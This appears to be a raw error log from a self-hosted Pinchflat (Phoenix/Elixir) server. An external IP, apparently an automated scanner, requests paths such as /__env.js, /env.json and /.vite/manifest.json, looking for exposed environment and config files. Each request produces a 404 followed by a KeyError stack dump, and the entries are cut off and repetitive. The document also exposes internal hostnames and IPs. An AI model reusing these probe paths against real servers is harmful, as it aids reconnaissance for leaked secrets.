{"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/__env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-nhP3bSAznUAAPmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix (truncated) 21:08:42.126 [info] GET /vendor.js 21:08:42.126 [debug] QUERY OK source="settings" db=0.1ms idle=191.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.126 [debug] QUERY OK source="settings" db=0.0ms idle=170.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.126 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:42.127 [error] #PID<0.3316.0> running PinchflatWeb.Endpoint (connection #PID<0.3315.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /vendor.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /vendor (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3315.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vendor.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49832}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3316.0>, params: %{}, path_info: ["vendor"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/vendor.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-oBe_1m0iBsAAPoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3315.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vendor.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49832}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /vendor (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3315.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vendor.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49832}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3316.0>, params: %{}, path_info: ["vendor"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/vendor.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-oBe_1m0iBsAAPoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"de (truncated) 21:08:42.235 [info] GET /env.json 21:08:42.236 [debug] QUERY OK source="settings" db=0.2ms idle=279.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.236 [debug] QUERY OK source="settings" db=0.1ms idle=245.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.236 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:42.236 [error] #PID<0.3318.0> running PinchflatWeb.Endpoint (connection #PID<0.3317.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /env.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3317.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49838}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3318.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/env.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-obo_zTYapYAAPqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3317.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49838}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3317.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49838}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3318.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/env.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-obo_zTYapYAAPqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/pho (truncated) 21:08:42.251 [info] GET /.vite/manifest.json 21:08:42.252 [debug] QUERY OK source="settings" db=0.0ms idle=125.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.252 [debug] QUERY OK source="settings" db=0.0ms idle=125.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.252 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:42.252 [error] #PID<0.3320.0> running PinchflatWeb.Endpoint (connection #PID<0.3319.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.vite/manifest.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vite/manifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3319.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vite/manifest.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49842}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3320.0>, params: %{}, path_info: [".vite", "manifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.vite/manifest.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-offKzMsuqQAAPsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3319.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vite/manifest.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49842}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vite/manifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3319.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vite/manifest.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49842}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3320.0>, params: %{}, path_info: [".vite", "manifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.vite/manifest.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-offKzMsuqQAAPsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router (truncated) 21:08:42.264 [info] GET /manifest.json 21:08:42.264 [debug] QUERY OK source="settings" db=0.1ms idle=27.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.264 [debug] QUERY OK source="settings" db=0.0ms idle=27.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.264 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:42.264 [error] #PID<0.3322.0> running PinchflatWeb.Endpoint (connection #PID<0.3321.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /manifest.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /manifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3321.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manifest.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49848}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3322.0>, params: %{}, path_info: ["manifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/manifest.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-oiZN9abnI4AAG8C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3321.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manifest.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49848}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /manifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3321.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manifest.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49848}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3322.0>, params: %{}, path_info: ["manifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", 